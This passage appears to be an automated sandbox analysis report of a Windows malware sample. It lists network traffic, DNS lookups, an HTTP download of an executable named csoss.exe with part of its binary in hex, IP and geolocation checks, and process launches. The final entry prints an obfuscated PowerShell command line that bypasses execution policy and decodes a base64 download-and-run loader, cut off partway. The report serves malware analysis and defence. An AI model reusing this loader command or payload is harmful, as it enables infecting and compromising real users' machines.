Mar 17, 2025 01:19:06.504518986 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504522085 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504532099 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504544973 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504575014 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504579067 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504585981 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504597902 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504611969 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504615068 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504623890 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504642963 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504652023 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504654884 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504666090 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504678011 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504688025 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504693985 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504708052 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504725933 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504728079 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504740000 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504751921 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504753113 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504764080 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504771948 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504780054 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504801035 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504812002 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504812956 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504822969 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504837036 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.504847050 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504865885 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.504877090 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505016088 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505031109 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505043030 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505054951 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505058050 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505065918 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505076885 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505080938 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505088091 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505100012 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505114079 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505137920 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505187035 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505202055 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505218983 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505229950 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505234957 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505242109 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505254030 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505265951 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.505270958 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505307913 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.505321980 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591480017 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591509104 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591520071 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591532946 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591547012 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591566086 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591571093 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591578007 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591593981 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591607094 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591624022 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591631889 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591655016 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591675043 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591682911 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591695070 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591706991 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.591730118 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.591742039 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:10.709992886 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:10.710057974 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:11.584146976 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:19:11.590595007 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:19:11.590737104 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:19:11.590915918 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:19:11.597028971 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:19:12.189285040 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:19:12.206897974 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:19:12.211549044 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:19:12.383248091 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:19:12.426209927 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:19:12.641896963 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:12.641941071 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:12.642015934 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:12.651971102 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:12.651992083 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.121772051 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.121854067 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:13.128077984 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:13.128087044 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.128408909 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.176191092 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:13.266833067 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:13.274696112 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:13.320327997 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.386898041 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.386981010 CET	443	49697	104.21.48.1	192.168.2.6
Mar 17, 2025 01:19:13.387038946 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:19:13.394593000 CET	49697	443	192.168.2.6	104.21.48.1
Mar 17, 2025 01:20:17.386197090 CET	80	49696	158.101.44.242	192.168.2.6
Mar 17, 2025 01:20:17.386292934 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:20:52.395384073 CET	49696	80	192.168.2.6	158.101.44.242
Mar 17, 2025 01:20:52.400165081 CET	80	49696	158.101.44.242	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 01:19:11.569528103 CET	55497	53	192.168.2.6	1.1.1.1
Mar 17, 2025 01:19:11.578458071 CET	53	55497	1.1.1.1	192.168.2.6
Mar 17, 2025 01:19:12.628690004 CET	61022	53	192.168.2.6	1.1.1.1
Mar 17, 2025 01:19:12.637061119 CET	53	61022	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 01:19:11.569528103 CET	192.168.2.6	1.1.1.1	0xe13d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.628690004 CET	192.168.2.6	1.1.1.1	0x7f9f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:11.578458071 CET	1.1.1.1	192.168.2.6	0xe13d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 17, 2025 01:19:12.637061119 CET	1.1.1.1	192.168.2.6	0x7f9f	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

23.95.235.28

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49695	23.95.235.28	80	5308	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2025 01:19:05.211270094 CET	285	OUT	GET /120/csoss.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 23.95.235.28 Connection: Keep-Alive
Mar 17, 2025 01:19:05.706269026 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 00:19:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 13 Mar 2025 12:29:25 GMT ETag: "ef800-6303878f4d6d6" Accept-Ranges: bytes Content-Length: 980992 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 cf d2 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 16 06 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6r}r}r}4,"p}s}/A}/#}/"G}{@{}{PW}r}R)"}s}/s}r}Ts}s}Richr}PELyg"}@`@@@L\|poq+pH@.text `.rdata@@.datatR@.rsrcopp@@.relocqr@B
Mar 17, 2025 01:19:05.706298113 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: DALhYC,YY9hcCY8hiCYhnCYM,hsCYhxCYQ
Mar 17, 2025 01:19:05.706309080 CET	1236	IN	Data Raw: 00 68 7d b5 43 00 e8 ca 1c 02 00 59 c3 a1 10 53 4c 00 51 8b 40 04 05 10 53 4c 00 50 e8 ff 5f 00 00 68 92 b5 43 00 e8 aa 1c 02 00 59 c3 e8 05 31 00 00 68 97 b5 43 00 e8 99 1c 02 00 59 c3 e8 e6 73 00 00 68 9c b5 43 00 e8 88 1c 02 00 59 c3 e8 67 4c Data Ascii: h}CYSLQ@SLP_hCY1hCYshCYgLhCwYdLehCaYSVWj[lGKyNlGN(GVY_^[SV3Wj_NN(^^~^^^ ^$ef^8
Mar 17, 2025 01:19:05.706320047 CET	1236	IN	Data Raw: db 43 c7 45 fc fe ff ff ff 57 89 5d f0 ff 15 28 f1 48 00 8b 75 0c 88 1d 6c 58 4c 00 eb 6f ff 75 f0 33 db 53 ff 75 fc ff 75 f8 57 e8 84 fd ff ff 39 5e 0c 7e 34 8b ce 8d 86 10 08 00 00 8d 56 10 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 Data Ascii: CEW](HulXLou3SuuW9^~4VEUM8sS@EU;FE\|F;t+PPCPW$HvuuW_^[];t +QPCPW$HEUMtDuLMtuW
Mar 17, 2025 01:19:05.706334114 CET	1236	IN	Data Raw: b7 9f 03 00 8b d0 81 ea 33 01 00 00 0f 84 08 01 00 00 4a 0f 84 fa 00 00 00 4a 0f 84 9b 9f 03 00 4a 75 c0 56 b9 b0 57 4c 00 e8 d1 0b 00 00 8b 0d 10 58 4c 00 6a 0f 8b 04 81 8b 30 ff 15 28 f5 48 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 f1 Data Ascii: 3JJJuVWLXLj0(H~Lt~LWS@HjWaNE+(IIIDjUuuR+t#I4Iu-V&SVPWPV
Mar 17, 2025 01:19:05.706346989 CET	1236	IN	Data Raw: 60 75 18 84 c9 0f 88 8f 9c 03 00 8b 45 0c 99 2b c2 d1 f8 3b f0 0f 8f 9d 9c 03 00 8b 55 08 8b c1 83 e0 02 0f 85 b3 9c 03 00 f6 c1 04 0f 85 b6 9c 03 00 8b c1 83 e0 20 0f 85 ed 9c 03 00 f6 c1 40 0f 85 f0 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c Data Ascii: `uE+;U @_^[]}fFXffF\ft_fF`ffFdfEP74H9^Xt=9^\tEEP7H9^`A9^dJ{8}tfEffEfU
Mar 17, 2025 01:19:05.706358910 CET	1236	IN	Data Raw: 9b 03 00 83 7d 0c 00 74 06 89 87 7c 01 00 00 3b b7 80 01 00 00 0f 85 44 9c 03 00 83 7d 0c 00 74 06 89 b7 80 01 00 00 5f 5e 5b 8b e5 5d c2 08 00 83 7d 0c 01 89 8f 74 01 00 00 89 87 78 01 00 00 7c 93 e9 9b 9b 03 00 55 8b ec 8b d1 8b 4d 08 56 57 85 Data Ascii: }t\|;D}t_^[]}tx\|UMVW-\|P;HBtt<u@MB`8t"\|;Bt8t_^]2UVW};FttQeFt ;u?
Mar 17, 2025 01:19:05.706370115 CET	1236	IN	Data Raw: 45 0c 89 45 0c 83 7d 14 ff b9 90 01 00 00 0f 84 a8 01 00 00 83 7d 18 ff 0f 84 a6 01 00 00 83 f8 ff 75 2d 6a 00 8d 45 e8 50 6a 00 6a 30 ff 15 40 f7 48 00 6a 07 ff 15 58 f5 48 00 8b 4d e8 2b 4d 14 03 4d f0 2b c8 8b c1 99 2b c2 d1 f8 89 45 0c 83 7d Data Ascii: EE}}u-jEPjj0@HjXHM+MM++E} uFjEPjj0@HjXHM+MM++E @tjXHjYE uEujjPHuEjSPHE+Ej5XLju$PE+EPu uSuhHu H
Mar 17, 2025 01:19:05.706381083 CET	1236	IN	Data Raw: 8b 04 b0 8b 18 53 89 5d e4 e8 a8 f7 ff ff 8b f8 89 7d e0 83 ff ff 0f 84 66 01 00 00 a1 24 58 4c 00 8b 55 08 8b 04 b8 8b 30 89 75 dc 83 fa 0e 0f 84 f8 9b 03 00 83 fa 0f 0f 84 ef 9b 03 00 83 fa 0c 0f 84 e6 9b 03 00 c6 86 92 00 00 00 50 66 a1 b8 57 Data Ascii: S]}f$XLU0uPfWLfUEM}UU(EM}USuWQP{`CXK\}{dEM}U}E$.@u$u uuuuWVSUXM(
Mar 17, 2025 01:19:05.706392050 CET	108	IN	Data Raw: 1d 8b d1 0f b6 c1 c1 fa 10 81 e1 00 ff 00 00 81 e2 ff 00 00 00 c1 e0 10 0b d0 0b d1 89 16 5e c3 55 8b ec 56 8b f1 57 33 ff 6a 0c 39 7e 04 74 2e e8 4a db 01 00 59 85 c0 74 0c ff 75 08 8b c8 e8 4c 00 00 00 8b f8 8b 46 04 89 47 08 8b 46 04 89 78 04 Data Ascii: ^UVW3j9~t.JYtuLFGFxF~_^]Ytu
Mar 17, 2025 01:19:05.711080074 CET	1236	IN	Data Raw: c8 e8 1e 00 00 00 8b f8 89 3e eb da 56 8b f1 ff 36 e8 73 db 01 00 56 e8 6d db 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 6a 0c 83 63 04 00 83 63 08 00 e8 da da 01 00 59 85 c0 74 15 56 8b 75 08 57 8b f8 a5 a5 a5 5f 5e 89 03 8b c3 5b 5d c2 04 Data Ascii: >V6sVmYY^USjccYtVuW_^[]3VWNxuYF\|~tNSHH1fpNTF\|%N$%N%VY_^QyFfxNptQ]YSV3WN~^^^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49696	158.101.44.242	80	5484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2025 01:19:11.590915918 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 17, 2025 01:19:12.189285040 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 00:19:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 94931f85050f398876f1bad94c2a121b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Mar 17, 2025 01:19:12.206897974 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Mar 17, 2025 01:19:12.383248091 CET	321	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 00:19:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6a36991c3ed2dde0375a8a7b4549c8c9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49697	104.21.48.1	443	5484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 00:19:13 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-03-17 00:19:13 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 00:19:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cf-Ray: 921851484ef25f83-EWR Server: cloudflare Age: 21780 Cache-Control: max-age=31536000 Cf-Cache-Status: HIT Last-Modified: Sun, 16 Mar 2025 18:16:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Af%2Fnd9oUKA48%2FwNjBGFdTmqVmzUOenGnXUjga9%2BxqqIkxDRdZQoZDZRX30IKRGOqcUspYqIGooRy%2B7hv%2Fsba5XGBkTrR0QDJvXqSMcmjDqmUA9qNxPSi9s%2F%2Bik5tjHuBrg6dcuqH"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=2052&rtt_var=771&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1418853&cwnd=131&unsent_bytes=0&cid=47c76c35a9d42d39&ts=275&x=0"
2025-03-17 00:19:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	20:18:59
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\needagoodplanforsuccesstogetbackbest.hta"
Imagebase:	0x970000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	20:19:00
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICA